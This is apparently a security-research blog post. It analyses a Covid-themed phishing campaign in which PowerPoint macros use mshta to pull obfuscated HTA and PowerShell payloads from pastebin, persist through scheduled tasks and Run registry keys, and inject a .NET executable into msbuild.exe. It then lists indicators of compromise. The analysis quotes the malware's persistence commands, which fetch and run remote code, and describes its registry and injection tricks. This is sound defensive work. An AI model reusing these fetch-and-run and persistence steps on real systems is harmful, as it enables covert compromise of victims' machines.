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File-less (almost) and Confused

Amidst the crisis the world is going through because of the Covid-19 pandemic, malicious actors continue to take advantage of the situation to lure unsuspecting online consumers into installing malware into their systems.

We have recently found reports of malicious Powerpoint slides being sent through email, which are disguised as business opportunities or transactions. 

Figure 1.0 Email sample with Business Inquiry mentioning Covid-19

Figure 1.1 Email sample with Request-for-Quotation theme

Analysis

Once an unsuspecting user opens the PowerPoint slide attached to the email, PowerPoint will prompt the user about a potential security concern and let’s user choose whether to enable or disable macros.

If user chooses to enable macros, the malicious VBA macro is automatically executed upon closing of the PowerPoint slide, which is triggered by the use of a built-in VBA event named Auto_Close. The VBA code simply runs mshta to load and execute a malicious HTML application (HTA) with the use of a shortened URL (hxxps://bit[.]ly/8bz529ep5dc64gf2zxvd), which redirects to a pastebin link (hxxps://pastebin[.]com/raw/Ri1gJLPQ).

Figure 2.0 Behavior Tree

It is good to point out that all HTA payloads used in this campaign/attack uses the same obfuscation as shown below:

Figure 3.0 Obfuscated 1st-level payload

A quick de-obfuscation reveals code written in VBScript:

Figure 4.0 De-obfuscated 1st-leval payload revealing VBScript code

In just a few lines this initial payload attempts to execute a second level HTA payload from hxxp://pastebin[.]com/raw/Bswfq2VB before creating auto-start entries, which in turn automatically executes the same second-level HTA payload without having to save any files to disk, hence making it “file-less” in a sense.

  • Scheduled TaskTask name: Pornhub
    Runs every: 80 minutes
    Runs: mshta “http:\pastebin.comrawBswfq2VB”
  • Autorun RegistryHive: HKCUSoftwareMicrosoftWindowsCurrentVersionRun
    Key: START
    Value: mshta “http:\pastebin.comraw7dhzBwcm”

There at least three (3) different second-level payload links used, but the de-obfuscated form reveals the same VBScript code as shown below:

Figure 5.0 De-obfuscated 2nd-level payload

To put it into context, the 2nd-level payload writes additional registry entries. The first one, being another auto-start registry entry, which executes VBScript code via mshta[1]. This VBScript code executes a Powershell script, which is written as a registry entry too.

  • Autorun RegistryHive: HKCUSoftwareMicrosoftWindowsCurrentVersionRun
    Key: bin
    Value: <call to mshta, executing VBScript code>
  • Powershell ScriptHive: HKCUSoftware
    Key: suckmyass
    Value: <Powershell script>

The Powershell script, as shown below, stored in the registry runs a quick check for internet-connectivity before proceeding to download and execute its final payload.

Figure 6.0 Powershell script stored in the registry (modified to be more readable)

Figure 6.1 Hex-encoded .Net Assembly Executable (from hxxps://pastebin[.]com/raw/5hRrW1Tr)

Figure 6.2 Base64 encoded Powershell script (from hxxps://pastebin[.]com/raw/qmxGASHG)

Figure 6.3 Decoded Powershell script with hex-encoded Gzip archive containing a .Net Assembly library, which is loaded by the Powershell script from the registry

Final Payload Analysis

The final payload consists of two (2) components, the first one is a .Net Assembly Library with an internal filename of Apple.dll and the second one, which is a .Net Assembly executable with an internal filename of success47a.exe.

The .Net Assembly Library named Apple.dll is protected with ConfuserEx v1.0.0 as identified and de-obfuscated by the tool named de4dot[2].

Figure 7.0 ConfuserEx detection from de4dot

Having it de-obfuscated, we can now look at what it actually does using dnSpy[3].

From the Powershell script, we saw that it calls the FreeDom method from the class named Givara with “msbuild.exe” and the hex-encoded .Net Assembly executable.

Figure 8.0 Preview of de-obfuscated Apple.dll

To keep it short, Apple.dll is process injector component, which loads msbuild.exe (if it exists in the system) and injects the decoded .Net Assembly executable into it.

Unfortunately, the .Net Assembly executable that we were able to download from the pastebin link appears to do nothing. This might be an attempt for a file-less attack and it is possible that the content from the pastebin link has yet to be updated with a presumably malicious executable or future variants may use new links containing active and malicious payloads.

Indicators of Compromise

Object Type SHA256/URL
Email ca3a56dd0b2a7a380502c891d7d619be1dd84fed6f81092bbb64c51ecb4e7f93
PP97M b26b606e87bb985ba4009047ecddd651fb31b6bc4f923be7bbad4e63783a8ad7
MSHTA URL https://bit.ly/8bz529ep5dc64gf2zxvd
http://pastebin.com/raw/6d4niXuU
http://pastebin.com/raw/5BGMMzg1
http://pastebin.com/raw/uquXWk8k
Base64 Encoded Powershell Script https://pastebin.com/raw/qmxGASHG
Hex Encoded .Net Assembly https://pastebin.com/raw/5hRrW1Tr
Gzip Archive c887bcc57d2b164e601757e285ff34c330533fbb1712ecabf182f80f7d76985d
.Net Assembly Library 7405ccc472d41a2d3dbe289a92f1c129d50633d0271609e07b5bb280ef5bb08b
Email ebf6e8ac15d2803ffd12380e06973ff9999083f610c2f7246968e8e1fe7ca70e
PP97M 0ae61a6caeae1c088a6be224604afa492910ef63be16262552d8e5c30cf72164
MSHTA URL https://j.mp/ojqijy52fl19aplw4Tw
http://pastebin.com/raw/Bswfq2VB
http://pastebin.com/raw/7dhzBwcm
http://pastebin.com/raw/hUZHQjCq
Base64 Encoded Powershell Script https://pastebin.com/raw/PYsUVWxg
Hex Encoded .Net Assembly https://pastebin.com/raw/yJT2NBDK
Gzip Archive c887bcc57d2b164e601757e285ff34c330533fbb1712ecabf182f80f7d76985d
.Net Assembly Library 7405ccc472d41a2d3dbe289a92f1c129d50633d0271609e07b5bb280ef5bb08b


[1] https://attack.mitre.org/techniques/T1170/

[2] https://github.com/0xd4d/de4dot

[3] https://github.com/0xd4d/dnSpy